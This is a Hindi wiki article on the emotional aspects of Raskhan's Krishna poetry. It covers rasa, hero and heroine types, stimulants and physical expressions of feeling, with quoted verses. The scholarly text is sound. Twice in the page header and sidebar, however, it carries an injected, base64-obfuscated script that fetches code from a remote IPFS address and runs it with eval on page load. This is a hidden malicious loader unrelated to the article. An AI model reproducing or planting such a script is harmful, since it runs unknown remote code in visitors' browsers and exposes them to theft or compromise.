रसखान का भाव-पक्ष

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
जन्मेजय (चर्चा | योगदान) द्वारा परिवर्तित ००:३७, १९ जनवरी २०१० का अवतरण
नेविगेशन पर जाएँ खोज पर जाएँ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<sidebar>

  • सुस्वागतम्
    • mainpage|मुखपृष्ठ
    • ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल
      विशेष:Contact|संपर्क
    • समस्त श्रेणियाँ|समस्त श्रेणियाँ
  • SEARCH
  • LANGUAGES

__NORICHEDITOR__<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  • रसखान सम्बंधित लेख
    • रसखान|रसखान
    • रसखान व्यक्तित्व और कृतित्व|व्यक्तित्व और कृतित्व
    • रसखान का भाव-पक्ष|भाव-पक्ष
    • रसखान का कला-पक्ष|कला-पक्ष
    • रसखान का प्रकृति वर्णन|प्रकृति वर्णन
    • रसखान का रस संयोजन|रस संयोजन
    • रसखान की भाषा|भाषा
    • रसखान की भक्ति-भावना|भक्ति-भावना
    • रसखान का दर्शन|दर्शन

</sidebar>

रसखान का भाव-पक्ष

रस

सहृदयों के हृदय में वासना या मनोविकार के रूप में वर्तमान रति आदि स्थायी भाव ही विभाव, अनुभाव, संचारी भाव के द्वारा व्यक्त होकर रस बन जाते हैं।[१] दूसरे शब्दों में विभाव-आलंबन विभाव, उद्दीपन विभाव, अनुभाव और संचारी भाव और स्थायी भाव ही रस के अंग हैं। रसखान के काव्य में भावपक्ष के अंतर्गत आलम्बन-निरूपण,नायिका-भेद, संचारी भाव, उद्दीपन विभाव आदि का वर्णन है

आलम्बन निरूपण

आलंबन विभाव का अभिप्राय काव्य-नाट्य-वर्णित नायक-नायिका आदि से है क्योंकि उन्हीं के सहारे सामाजिकों के हृदय में रस का संचार हुआ करता है। रसखान के काव्य में आलंबन श्री कृष्ण, गोपियां एवं राधा हैं। 'प्रेम वाटिका' में यद्यपि प्रेम सम्बन्धी दोहे हैं, किन्तु रसखान ने उसके माली कृष्ण और मालिन राधा ही को चरितार्थ किया है। रसखान आलम्बन-निरूपण में पूर्ण सफल हुए हैं। वे गोपियों का वर्णन भी उसी तन्मयता के साथ करते हैं जिस तन्मयता के साथ कृष्ण का। संपूर्ण 'सुजान रसखान' में गोपियों एवं राधा को आलंबन (कृष्ण) के स्वरूप से प्रभावित दिखाया है।

नायक

भारतीय काव्य-शास्त्र के अनुसार काव्यलंबन नायक वह माना गया है जो त्याग भावना से भरा हो, महान कार्यों का कर्ता हो, कुल का महान हो, बुद्धि-वैभव से संपन्न हो, रूप-यौवन और उत्साह की संपदाओं से संपन्न हो, निरन्तर उद्योगशील रहने वाला हो, जनता का स्नेहभाजन हो और तेजस्विता, चतुरता किंवा सुशीलता का निदर्शक हो। रसखान के काव्य के नायक श्रीकृष्ण हैं, जो महान कार्यों के कर्ता, उच्च कुल में उत्पन्न बुद्धि, वैभव से संपन्न, रूप यौवन उत्साह की संपदाओं से सुशोभित, गोपियों के स्नेहभाजन, तेजस्वी और सुशील हैं। रसखान के नायक में नायकोचित लगभग सभी गुण मिलते हैं। नायक के महान कार्यों की चर्चा मिलती है। द्रौपदी, गणिका, गज, गीध, अजामिल का रसखान के नायक ने उद्धार किया। अहिल्या को तारा, प्रह्लाद के संकटों का नाश किया।<balloon title="सुजान रसखान, 18" style=color:blue>*</balloon> केवल यही नहीं, उन्होंने उत्साहपूर्वक कालिय दमन तथा कुवलया वध भी किया।<balloon title="सुजान रसखान, 200, 201, 202" style=color:blue>*</balloon> रसखान ने अपने नायक के महान कार्यों के साथ-साथ उनके रूप यौवन की भी चर्चा की है। गोपियों ने उनके रूप से प्रभावित होकर लोकमर्यादा तक को त्याग दिया। कृष्ण के रूप यौवन का प्रभाव असाधारण है। गोपी बेबस होकर लोक मर्यादा त्यागने पर विवश हो जाती हैं-
अति लोक की लाज समूह मैं छोरि कै राखि थकी बहुसंकट सों।
पल में कुलकानि की मेड़ नखी नहिं रोकी रुकी पल के पट सों॥
रसखानि सु केतो उचाटि रही उचटी न संकोच की औचट सों।
अलि कोटि कियौ हटकी न रही अटकी अंखियां लटकी लट सों।<balloon title="सुजान रसखान, 175" style=color:blue>*</balloon>
रसखान ने अपने नायक के रूप-यौवन की चर्चा अनेक पदों में की है। रूप यौबन के अतिरिक्त उनकी चेष्टाएं, मधुर मुस्कान भी मन को हर लेती हैं।
मैन मनोहर बैन बजै सुसजे तन सोहत पीत पटा है।
यौं दमकै चमकै झमकै दुति दामिनि की मनो स्याम घटा है।
ए सजनी ब्रजराजकुमार अटा चढ़ि फेरत लाल बटा है।
रसखानि महामधुरी मुख की मुसकानि करै कुलकानि कटा है।<balloon title="सुजान रसखान, 172" style=color:blue>*</balloon>
रसखान ने कृष्ण के प्रेममय रूप का निरूपण अनेक पदों में किया है। उन्हें राधा के पैर दबाते हुए दिखाया है<balloon title="सुजान रसखान, 17" style=color:blue>*</balloon> तथा गोपियों के आग्रह पर छछिया भरी छाछ पर भी नाचते हुए दिखाया है। सर्वसमर्थ होकर भी कृष्ण अपनी प्रेयसी गोपियों के आनंद के लिए इस प्रकार का व्यवहार करते हैं। जिससे सिद्ध होता है कि वे प्रेम के वशवर्ती हैं। अत: रसखान द्वारा निरूपित नायक में लगभग उन सब विशेषताओं का सन्निवेश है जो भारतीय काव्यशास्त्र के अंतर्गत गिनाई गई हैं। उनमें शौर्य, रूप, यौवन और उत्साह है।

नायिका

नायिका से अभिप्राय उस स्त्री से है जो यौवन, रूप, कुल, प्रेम, शील, गुण, वैभव और भूषण से सम्पन्न हो। रसखान प्रेमोन्मत्त भक्त कवि थे। उन्होंने अपनी स्वच्छंद भावना के अनुकूल कृष्ण प्रेम का चित्रण अपने काव्य में किया। इसीलिए रसखान का नायिका-भेद वर्णन न तो शास्त्रीय विधि के अनुरूप ही है और न ही किसी क्रम का उसमें ध्यान रखा गया है। कृष्ण के प्रति गोपियों के प्रेम-वर्णन में नायिका-भेद का चित्रण स्वाभाविक रूप से हो गया है।
नायिका भेद
नायिका भेद की परंपरा के दर्शन संस्कृत-साहित्य तथा संस्कृत-काव्य-शास्त्र में होते हैं। नायिकाएं तीन प्रकार की बताई हैं-

  1. स्वकीया,
  2. परकीया एवं
  3. सामान्य।

इसके अतिरिक्त भी नायिका के जाति, धर्म, दशा एवं अवस्थानुसार अनेक भेद किए गए हैं।[२] प्रेमोमंग के कवि से नायिका भेद के सागर में गोते लगाकर समस्त भेदोपभेद निरूपण की आशा करना निरर्थक ही होगा, क्योंकि इन्होंने गोपियों के स्वरूप को अधिक महत्त्व न देकर उनकी भावनाओं को ही अधिक महत्त्व दिया है। फिर भी गोपियों के निरूपण में कहीं-कहीं नायिका भेद के दर्शन हो जाते हैं।
परकीया नायिका
जो नायिका पर पुरुष से प्रीति करे, उसे परकीया कहते हैं। रसखान के काव्य में निरूपित गोपियां पर स्त्री हैं। पर पुरुष कृष्ण प्रेम के कारण वे परकीया नायिका कहलाएंगी। रसखान ने अनेक पदों में<balloon title="सुजान रसखान, 203, 139, 178, 74, 81, 126" style=color:blue>*</balloon> उनका सुंदर निरूपण किया है। उन्होंने परकीया नायिका के चित्रण में नायिकाओं की लोक लाज तथा अपने कुटुंबियों के भय से उनकी वेदनामयी स्थिति और प्रेमोन्माद का बड़ा ही मर्मस्पर्शी चित्रण किया है-
काल्हि भट् मुरली-धुनि में रसखानि लियो कहुं नाम हमारौ।
ता छिन तैं भई बैरिनि सास कितौ कियौ झांकत देति न द्वारौ।
होत चवाव बलाइ सों आली री जौ भरि आँखिन भेंटियै प्यारो।
बाट परी अबहीं ठिठक्यौ हियरे अटक्यौ पियरे पटवारी॥<balloon title="सुजान रसखान, 99" style=color:blue>*</balloon>
परकीया नायिका के भेद
परकीया नायिका के दो भेद माने गए है<balloon title="साहित्य-दर्पण पृ0 166" style=color:blue>*</balloon>-

  1. अनूठा और
  2. ऊढ़ा।

रसखान ने ऊढ़ा नायिका का वर्णन किया है। परकीया के अवस्थानुसार छ: भेद होते हैं-

  1. मुदिता,
  2. विदग्धा,
  3. अनुशयना,
  4. गुप्ता,
  5. लक्षिता,
  6. कुलटा।

इनमें से रसखान ने ऊढ़ा मुदिता और विदग्धा का ही चित्रण किया है।
ऊढ़ा
ऊढ़ा वह नायिका है जो अपने पति के अतिरिक्त अन्य किसी पुरुष से प्रेम करे रसखान ने इस पद में ऊढ़ा का वर्णन किया है—
'औचक दृष्टि परे कहूँ कान्ह जू तासों कहै ननदी अनुरागी।
सौ सुनि सास रही मुख मोरि, जिठानी फिरै जिय मैं रिस पागी।
नीके निहारि कै देखै न आँखिन, हों कबहूँ भरि नैन न जागी।
मा पछितावो यहै जु सखी कि कलंक लग्यौ पर अंक न 'लागी।<balloon title="सुजान रसखान, 138" style=color:blue>*</balloon>
मुदिता
यह परकीया के अवस्थानुसार भेदों में से एक है। पर-पुरुष-मिलन-विषयक मनोभिलाषा की अकस्मात पूर्ति होते देखकर जो नायिका मुदित होती है उसे मुदिता कहते हैं। रसखान ने भी नायिका की मोदावस्था का सुंदर चित्रण किया है—
'जात हुती जमना जल कौं मनमोहन घेरि लयौ मग आइ कै।
मोद भरयौ लपटाइ लयौ, पट घूंघट टारि दयौ चित चाइ कै।
और कहा रसखानि कहौं मुख चूमत घातन बात बनाइ कै।
कैसें निभै कुलकानि रही हिये साँवरी मूरति की छबि छाइ।<balloon title="सुजान रसखान, 36" style=color:blue>*</balloon>
विदग्धा
चतुरतापूर्वक पर पुरुषानुराग का संकेत करने वाली नायिका को विदग्धा कहते हैं। विदग्धा के दो भेद होते हैं-

  1. वचनविदग्धा और
  2. क्रियाविदग्धा।

वचनविदग्धा नायिका
जो नायिका वचनां की चतुरता से पर पुरुषानुराग विषयक कार्य को संपन्न करना चाहे उसे 'वचनविदग्धा' कहते हैं। रसखान की गोपियाँ अनेक स्थानों पर वचन चातुर्य से काम लेती हैं-
छीर जौ चाहत चीर गहें अजू लेउ न केतिक छीर अचैहौ।
चाखन के मिस माखन माँगत खाउ न माखन केतिक खैहौ।
जानति हौं जिय की रसखानि सु काहे कौं एतिक बात बढ़ैहौ।
गोरस के मिस जो रस चाहत सो रस कान्हजू नेकु न पैहौ।<balloon title="सुजान रसखान, 42" style=color:blue>*</balloon>
यहां गोपियों ने वचनविदग्धता द्वारा अपनी इच्छा का स्पष्टीकरण कर दिया है।
क्रियाविदग्धा
जो नायिका क्रिया की चतुरता से पर-पुरुषानुराग विषयक कार्य को सम्पन्न करना चाहे, उसे क्रियाविदग्धा कहते हैं। रसखान ने निम्नलिखित पद में क्रिया विदग्धा नायिका का सुंदर चित्रण किया है-
खेलै अलीजन के गन मैं उत प्रीतम प्यारे सौं नेह नवीनो।
बैननि बोध करै इत कौं, उत सैननि मोहन को मन लीनो।
नैननि की चलिबी कछु जानि सखी रसखानि चितैवे कों कीनो।
जा लखि पाइ जँभाई गई चुटकी चटकाइ बिदा करि दीनो।<balloon title="सुजान रसखान, 116" style=color:blue>*</balloon>
दशानुसार नायिकाएँ
नायिका के दशानुसार तीन भेदों-

  1. गर्विता
  2. अन्य संभोग दु:खिता एवं
  3. मानवती में से रसखान के काव्य में अन्य संभोग दु:खिता तथा मानवती नायिका का चित्रण मिलता है।

अन्य संभोग दु:खिता
अन्य स्त्री के तन पर अपने प्रियतम के प्रीति-चिह्न देख कर दु:खित होने वाली नायिका को 'अन्य संभोग दु:खित' कहते हैं रसखान ने भी अन्य संभोग दु:खिता नारी का चित्रण किया है।
काह कहूँ सजनी सँग की रजनी नित बीतै मुकुंद कों हेरी।
आवन रोज कहैं मनभावन आवन की न कबौं करी फेरी।
सौतिन-भाग बढ्यौ ब्रज मैं जिन लूटत हैं निसि रंग घनेरी।
मो रसखानि लिखी बिधना मन मारि कै आपु बनी हौं अँहेरी॥<balloon title="सुजान रसखान, 106" style=color:blue>*</balloon>
मानवती
अपने प्रियतम को अन्य स्त्री की ओर आकर्षित जानकर ईर्ष्यापूर्वक मान करने वाली नायिका मानवती कहलाती है। रसखान ने मानिनी नायिका का चित्रण तीन पदों में किया है। दूती नायिका को समझा रही है कि मेरे कहने से तू मान को त्याग दे। तुझे बसंत में मान करना किसने सिखा दिया।<balloon title="सुजान रसखान, 113" style=color:blue>*</balloon> अगले पद्य में वह कृष्ण की सुंदरता एवं गुणों का बखान करके अंत में कहती है कि तुझे कुछ नहीं लगता। न जाने किसने तेरी मति छीनी है।<balloon title="सुजान रसखान, 114" style=color:blue>*</balloon> पुन: नायिका को समझाती हुई कहती है कि मान की अवधि तो आधी घड़ी है, तू मान त्याग दे-
मान की औधि है आधि घरी अरी जौ रसखानि डरै हित के डर,
कै हित छोड़ियै पारियै पाइनि ऐसे कटाछनहीं हियरा-हर।
मोहनलाल कों हाल बिलोकियै नेकु कछू किनि छूबेकर सौं कर,
नां करिबे पर वारे हैं प्रान कहा करिहैं अब हां करिबे पर।<balloon title="सुजान रसखान, 115" style=color:blue>*</balloon>
रसखान ने मानिनी नायिका के मान का स्वाभाविक चित्रण किया है। नायिका को समझाया जा रहा है कि तू किसी प्रकार मान त्याग दे।
अवस्थानुसार नायिकाएं
अवस्थानुसार नायिका के दस भेद माने गए हैं जिनमें से दो की चर्चा रसखान ने की है-

  1. आगतपतिका तथा
  2. प्रोषितपतिका।

आगतपतिका
अपने प्रियतम के आगमन पर प्रसन्न होने वाली नायिका 'आगतपतिका' कहलाती है। रसखान ने आगतपतिका नायिका का चित्रण बहुत ही सुंदर तथा भावपूर्ण ढंग से किया है-
नाह-बियोग बढ्यौ रसखानि मलीन महा दुति देह तिया की।
पंकज सों मुख गौ मुरझाई लगीं लपटैं बरि स्वांस हिया की।
ऐसे में आवत कान्ह सुने हुलसैं तरकीं जु तनी अंगिया की।
यौ जगाजोति उठी अंग की उसकाइ दई मनौ बाती दिया की।<balloon title="सुजान रसखान, 117" style=color:blue>*</balloon>
नायिका विरह-पीड़ित है किन्तु कृष्ण के आगमन से उसकी पीड़ा समाप्त हो जाती है और उसकी प्रसन्नता का ठिकाना नहीं रहता। जैसे दीपक की बत्ती बढ़ाने से प्रकाश बढ़ जाता है वैसे ही प्रिय के आगमन से नायिका का शरीर प्रफुल्लित हो उठता है।
प्रोषितपतिका
प्रियतम के वियोग से दु:खित विरहिणी नायिका को प्रोषितपतिका कहते हैं। रसखान के काव्य में प्रोषितपतिका नायिका के अनेक उदाहरण मिलते हैं-
उनहीं के सनेहन सानी रहैं उनहीं के जु नेह दिवानी रहैं।
उनहीं की सुनैं न औ बैन त्यौं सैन सों चैन अनेकन ठानी रहैं।
उनहीं सँग डोलन मैं रसखानि सबै सुख सिंधु अघानी रहैं।
उनहीं बिन ज्यौं जलहीन ह्वै मीन सी आँखि मेरी अँसुवानी रहैं।<balloon title="सुजान रसखान, 74" style=color:blue>*</balloon>
निम्न पद में परकीया मध्या प्रोषितपतिका का चित्रण किया गया है—
औचक दृष्टि परे कहूँ कान्ह जू तासों कहै ननदी अनुरागी।
सो सुनि सास रही मुख मोरि, जिठानी फिरै जिय मैं रिस पागी।
नीकें निहारि कै देखे न आंखिन, हों कबहूँ भरि नैन न जागी।
मो पछितावो यहै जु सखी कि कलंक लग्यौ पर अंक न लागी॥<balloon title="सुजान रसखान, 138" style=color:blue>*</balloon>
रसखान के काव्य में प्रोषितपतिका नायिका का निरूपण कई स्थानों पर मिलता है।
वय:क्रम से नायिका
वय:क्रम से नायिका के तीन भेद माने गए हैं-

  1. मुग्धा,
  2. मध्या,
  3. प्रौढ़ा।

रसखान ने मुग्धा नायिका का वर्णन किया है।
मुग्धा
जिसके शरीर पर नव यौवन का संचार हो रहा हो, ऐसी लज्जाशीला किशोरी को 'मुग्धा नायिका' कहते हैं। रसखान ने मुग्धा नायिका की वय:संधि अवस्था का सुंदर चित्र खींचा है- बांकी मरोर गही भृकुटीन लगीं अँखियाँ तिरछानि तिया की।
टांक सी लांक भई रसखानि सुदामिनि ते दुति दूनी हिया की।
सोहैं तरंग अनंग की अंगनि ओप उरोज उठी छतिया की।
जोबन-जोति सु यौं दमकै उसकाई दई मनो बाती दिया की।<balloon title="सुजान रसखान, 51" style=color:blue>*</balloon>
जिस प्रकार कृष्ण काव्य में परकीया नायिकाओं को विशेष गौरव दिया गया है, उसी प्रकार रसखान ने भी परकीया वर्णन को महत्त्व दिया। इसके तीन प्रधान की सफलता के लिए भावों का मार्मिक चित्रण आवश्यक है।

  1. रति भाव की जितनी अधिक मार्मिकता और तल्लीनता परकीया प्रेम में संभव है उतनी स्वकीया प्रेम में नहीं।
  2. दूसरा कारण यह है कि परकीया प्रेम का क्षेत्र बहुत विस्तृत है। उसमें प्रेम के विभिन्न रूपों और परिस्थितियों के वर्णन का अवकाश रहता है। इस प्रकार कवि को अपनी प्रतिभा के प्रदर्शन का असीम अवसर मिलता है।
  3. तीसरा कारण है लीलावतारी कृष्ण का मधुर रूप। कृष्ण परब्रह्म परमेश्वर है और गोपियां जीवात्माएं हैं। अनंत जीवात्माओं के प्रतीक रूप में अनंत गोपियों का चित्रण अनिवार्य था। अतएव कृष्ण भक्त श्रृंगारी कवियों ने सभी गोपियों के प्रति कृष्ण (भगवान) के स्नेह की और कृष्ण के प्रति सभी गोपियों के उत्कट अनुराग की व्यंजना के लिए परकीया-प्रेम का विधान किया। यहां तक कि उनके काव्य में स्वकीया का कहीं भी चित्रण नहीं हुआ। परकीया नायिका निरूपण के अंतर्गत रसखान ने ऊढ़ा मुदिता, क्रियाविदग्धा, वचनविदग्धा अन्यसंभोगदु:खिता, मानवती, आगतपतिका, प्रोषितपतिका एवं मुग्धा आदि नायिकाओं का चित्रण किया है। रसखान का उद्देश्य नायिका-भेद निरूपण करना नहीं था अतएव उन्होंने गोपियों के संबंध से कृष्ण का वर्णन करते हुए प्रसंगानुसार नायिकाओं के बाह्य रूप एवं उनकी अंतर्वृत्तियों का चित्रण किया है।

उद्दीपन विभाव

जो रति आदि स्थायी भावों को उद्दीप्त करते हैं, उनकी आस्वाद योग्यता बढ़ाते हैं, वे 'उद्दीपन विभाव' कहलाते है। 'उद्दीपन विभाव' उन्हें कहते हैं जो किसी रस को उद्दीप्त करते हैं। उद्दीपन विभाव प्रत्येक रस के अपने होते हैं। श्रृंगार रस के उद्दीपन सखी, सखा, दूती, षड्ऋतु, वन उपवन, चंद्र, चांदनी, पुष्प, नदी , तट, चित्र आदि होते हैं। नायक-नायिका की चेष्टाएं भी रस को उद्दीप्त करती हैं। रसखान के काव्य में उद्दीपन विभाव प्रकृति का खुला प्रांगण हे। उनके नायक कृष्ण की समस्त लीलाएं प्रकृति के रमणीय क्षेत्र में हुईं। गोकुल के बाग, तड़ाग, कुंज-गली आदि उद्दीपन हैं।
'वन बाग तड़ागनि कुंजगली अँखियाँ सुख पाइहैं देखि दई।
अब गोकुल माँझ विलोकियैगी वह गोप सभाग सुभाय रई।
मिलिहै हँसि गाइ कबै रसखानि कबै ब्रजबालनि प्रेममई।
वह नील निचोल के घूँघट की छवि देखबी देखन लाजलई।<balloon title="सुजान रसखान, 88" style=color:blue>*</balloon> कृष्ण की कामदेव के समान नवरंगी छवि, उनकी बातें बातें सब उद्दीपन कार्य कर रही हैं- भाल पगिया, सुगंधित वस्त्र, सुगंधित वस्त्र, अंगों में जड़ाऊ नगीने, मुक्तामाल ये सब गोपियों में श्रृंगार रस को उद्दीप्त करते हैं।
लाल लसैं पगिया सबके, सब के पट कोटि सुगंधनि भीने।
अँगनि अंग सजे सब ही रसखानि अनेक जराउ नवीने।
मुक्ता-गलमाल लसै सब के सब ग्वार कुमार सिंगार सो कीने।
पै सिगरे ब्रज के हरि हीं हरि ही कै हरैं हियरा हरि लीने॥<balloon title="सुजान रसखान, 137" style=color:blue>*</balloon>
खंजन, मीन, सरोज के मद को हरने वाले बड़े-बड़े नयन, कुंजों में मुस्काते पान खाते अमृत वचन बोलते कृष्ण का स्वरूप एवं चेष्टाएं उद्दीपन-कार्य कर रही हैं।<balloon title="सुजान रसखान, 31" style=color:blue>*</balloon> रसखान के काव्य में उद्दीपन मुरलीवट का तट<balloon title="सुजान रसखान, 35" style=color:blue>*</balloon>, कुंजगली<balloon title="सुजान रसखान, 28" style=color:blue>*</balloon>, मुरली ध्वनि<balloon title="सुजान रसखान, 55" style=color:blue>*</balloon>, मधुर मुस्कान, मोरपंखा, पीतपटा, वन और कुंडल आदि हैं। रसखान का उद्देश्य कृष्ण-विषयक रागात्मिका वृत्ति की अभिव्यक्ति और कृष्ण का विविध रूपों में चित्रण करना था। विभिन्न वृत्तियों के हृदयस्पर्शी उपचय और लीलाओं की प्रभावशालिता के लिए उद्दीपनकारी वातावरण की सृष्टि अनिवार्य है। आलंबन के कारण जाग्रत भाव उद्दीपन विभावों के अभावों में रसात्मक नहीं हो सकता। कृष्ण के चित्रण को हृदयग्राही रूप देने के लिए उनकी चेष्टाओं, उनकी लीलाओं को सरस बनाने वाले वातावरण आदि का चित्रण अपेक्षित है। वंशीवट का उनकी क्रीड़ाओं से महत्त्वपूर्ण संबंध है। यमुना तट उनका परंपरा प्रसिद्ध लीलास्थल है। मुरली की तान उनकी प्रेमिकाओं को विशेष रूप से आकृष्ट करती हैं। उनकी वेशभूषा और मुस्कान ने गोपियों के चित्त को लुभा लिया है। अतएव सहृदय कवि ने कृष्ण-विषयक रति भाव के परिपाक के लिए इन विभावों का स्थान-स्थान पर निदर्शन किया है।

संचारी भाव

संचारी भाव का दूसरा नाम 'व्यभिचारी' भाव भी है। व्यभिचारी शब्द में वि+अभि+चर (उपसर्ग तथा धातु) का योग है। 'वि' विविधता का, 'अभि' अभिमुख्य का और 'चर' संचरण का द्योतक है। अतएव वाक्, अंग तथा सत्वादि द्वारा विविध प्रकार के, रसानुकूल संचरण करने वाले भावों को व्यभिचारी अथवा संचारी भाव कहते हैं। यह स्थायी भाव के सहकारी कारण हैं यह सभी रसों में यथासंभव संचार करते हैं। इसी से इनकी संचारी या व्यभिचारी संज्ञा है। स्थायी भाव की तरह ये रस की सिद्धि तक स्थिर नहीं रहते। ये अवस्था विशेष में उत्पन्न होते हैं और अपना प्रयोजन पूरा हो जाने पर स्थायी भाव को उचित सहायता देकर लुप्त हो जाते हैं। इनकी संख्या इस प्रकार 33 है। निर्वैद, ग्लानि, शंका, असूया, मद, श्रम, आलस्य, दैन्य, चिंता, मोह, स्मृति, घृति, व्रीड़ा, चपलता, हर्ष, आवेग, जड़ता, गर्व विषाद, औत्सुक्य, निद्रा, अपस्मार, स्वप्न, विबोध, अमर्ष, अवहित्था, उग्रता, मति, व्याधि, उन्माद, त्रास, वितर्क, मरण। रसखान के काव्य में रसानुकूल अनेक संचारी भावों की व्यंजना हुई है।
कायिक अनुभाव
कटाक्ष आदि आंगिक चेष्टाओं को 'कायिक अनुभाव' कहते हैं। रसखान के काव्य में कायिक अनुभाव के सुन्दर नमूने मिलते हैं। उन्होंने भावानुकूल चेष्टाओं का सम्यक विधान किया हैं—
आली पगे रँगे जे रँग साँवरे मो पै ना आवत लालची नैना।
धावत हैं उतहीं जित मोहन रोके रुकै नहिं घूँघट ऐसा।
काननि कौं कल नाहिं परै सखी प्रेम सों भीजे सुने बिन बैना।
रसखानि भई मधु की मखियाँ अब नेह को बंधन क्यों हूँ छूटैना।<balloon title="सुजान रसखान, 126" style=color:blue>*</balloon>
नायिका के नयनों की गति में वेग है जो घूंघट के आवरण को स्वीकार करने को तैयार नहीं। नयनों की चंचलता नायिका की प्रबल आकांक्षा को अभिव्यक्ति प्रदान करने में सहायक हुई है। विभिन्न अंगों की उत्सुकता एवं उत्कंठा का चित्रण कायिक अनुभावों द्वारा सजीवता के साथ हुआ है।
नैन नचाइ चितै मुसकाइ सु ओट ह्वै जाइ अँगूठा दिखायौ।<balloon title="सुजान रसखान, 101" style=color:blue>*</balloon> नैन नचाना, मुसकाना और ओट में जाकर अंगूठा दिखाना आदि अनेक कायिक भावों की एक साथ व्यंजना हुई है। यहां कवि ने नायिका की चतुरता एवं चंचलता की अनुभावों द्वारा चित्रात्मक ढंग से अभिव्यक्ति की है।
आजु हौं निहारयौ बीर निपट कालिंदी तीर,
दोउन को दोउन सौं मुरि मुसकाइबौ।
दोऊ परैं पैयाँ दोऊ लेत हैं बलैयाँ उन्हें,
भूलि गई गैयाँ इन्हें गागर उचाइबो॥<balloon title="सुजान रसखान, 100" style=color:blue>*</balloon>
इन पंक्तियों में एक दूसरे को देखना, मुड़-मुड़ कर मुस्काना। एक दूसरे के पैरों पर पड़ना, निछावर होना आदि अनेक कायिक अनुभावों की सुन्दर व्यंजना हुई है।
आजु ही बारक 'लेहु दही' कहि कै कछु नैनन में विहँसी है।
बैरिनि वाहि भई मुसकानि जु वा रसखानि के प्रान बसी है।<balloon title="सुजान रसखान, 32" style=color:blue>*</balloon>
यहां नेत्रों में हंसने तथा मुसकान से प्रभावित होने के कारण कायिक अनुभाव चमत्कारपूर्ण हैं।
फेरि फिरैं अँखियाँ ठहराति हैं कारे पितंबरवारे के ऊपर।<balloon title="सुजान रसखान, 34" style=color:blue>*</balloon>
नेत्रों की विवशता कायिक अनुभाव द्वारा चित्रित की गई है। यहां निर्निमेष देखने का भाव निहित है।
अँखियाँ अँखियाँ सौं सकाइ मिलाइ हिलाइ रिझाइ हियो हरिबो।
बतियाँ चित चोरन चेटक सी रस चारु चरित्रन ऊचरिबो।<balloon title="सुजान रसखान, 120" style=color:blue>*</balloon>
यहां अंखियां मिलाना, रिझाना, बातें करना आदि कायिक अनुभावों द्वारा श्रृंगार रस की सफल व्यंजना हुई है।
सात्विक भाव
सत्व के उद्रेक से उत्पन्न जो अनुभाव हैं उन्हीं को सात्विक भाव कहा गया है। रसखान के काव्य में सात्विक भावों की भी सुन्दर व्यंजना हुई है।
बंसी बजावत आनि कढ़ौ सो गली मैं अली कछु टोना सो डारै।
हेरि, चितै, तिरछी करि दृष्टि चलौ गयौ मोहन मूठि सी मारै।
ताही घरी सौं परी धरी सेज पै प्यारी न बोलति प्रानहूँ बारै।
राधिका जी है तौ जीहैं सबै न तो पीहैं हलाहल नंद के द्वारै॥<balloon title="सुजान रसखान, 68" style=color:blue>*</balloon>
इस पद में कृष्ण का वंशी बजाना और तिरछी दृष्टि से गोपियों को देखना उद्दीपन विभाव है। आलंबन कृष्ण और उनकी चितवन आदि उद्दीपनों से गोपी इतनी अधिक प्रभावित हैं कि उनकी वाणी भावावेग के कारण अवरुद्ध हो गई है। इस प्रकार सात्विक भाव 'स्तंभ' का चित्रण किया गया है। इस चित्रण में श्रृंगार रस की हृदयहारी व्यंजना की गई है-
पूरब पुन्यनि तैं चितई जिन ये अँखियाँ मुसकानि भरी जू।
कोऊ रही पुतरी सी खरी, कोइर घाट डरी, कोउ बाट परी जू।
जे अपने घरहीं रसखानि कहै अरु हौंसनि जाति मरी जू।
लाल जे बाल बिहाल करी ते बिहाल करी न निहाल करी जू॥<balloon title="सुजान रसखान, 142" style=color:blue>*</balloon>
यहां गोपियां कृष्ण की मुस्कान भरी आंखों से प्रभावित हैं। कृष्ण आलंबन, उनकी मुसकान भरी आंखें उद्दीपन विभाव हैं। उनसे प्रभावित होकर गोपियों की चेष्टाएं पुतली के समान खड़ी रहना आदि स्तंभ नामक सात्विक भाव हैं। घाट पर गिरना, बेहाल होना 'मरी' जाना में 'प्रलय' नामक सात्विक भाव का मनोरम निरूपण हुआ है।
मोहन रूप छकी बन डोलति घूमति री तजि लाज बिचारै।
बंक बिलोकनि नैन बिसाल सु दंपति कोर कटाछन मारै।
रंगभरी मुख की मुसकान लखें सखी कौन जु देह सम्हारै।
ज्यौं अरविंद हिम्मत-करी झकझोरि कै तोरि मरोरि कै डारै॥<balloon title="सुजान रसखान, 64" style=color:blue>*</balloon>
कृष्ण की उद्दीपक मुस्कान ने गोपी को आत्म-विस्मृत कर दिया है। कृष्ण के प्रेम में विभोर होने के कारण वह अपने रति भावना को छिपा नहीं पा रही है। वह विह्वल होकर वन में डोलती है और लज्जा त्यागकर स्वच्छंद रूप से घूमती है। उसका इस प्रकार डोलना और घूमना रति भाव व्यंजक होने के कारण कायिक अनुभाव है। कृष्ण की रंगभरी मुसकान के प्रभाव से अपनी देह को न संभाल पाना अर्थात निश्चेष्ट होना और अपने को भूल जाना आदि 'प्रलय' नामक सात्विक भाव हैं। रसखान के काव्य में सात्विक, मानसिक और कायिक अनुभावों की एक साथ अभिव्यक्ति हुई हैं-
आईं सबै ब्रज गोप लली ठिठकीं ह्वै गली जमुना-जल न्हाने।
औचक आइ मिले रसखानि बजावत बैनु सुनावत ताने।
हाहा करी सिसकी सिगरी मति मैन हरी हियरा हुलसाने।
घूमैं दिवानी अमानी चकोर सों ओर सों दोऊ चलैं दृग बाने।<balloon title="सुजान रसखान,37" style=color:blue>*</balloon>
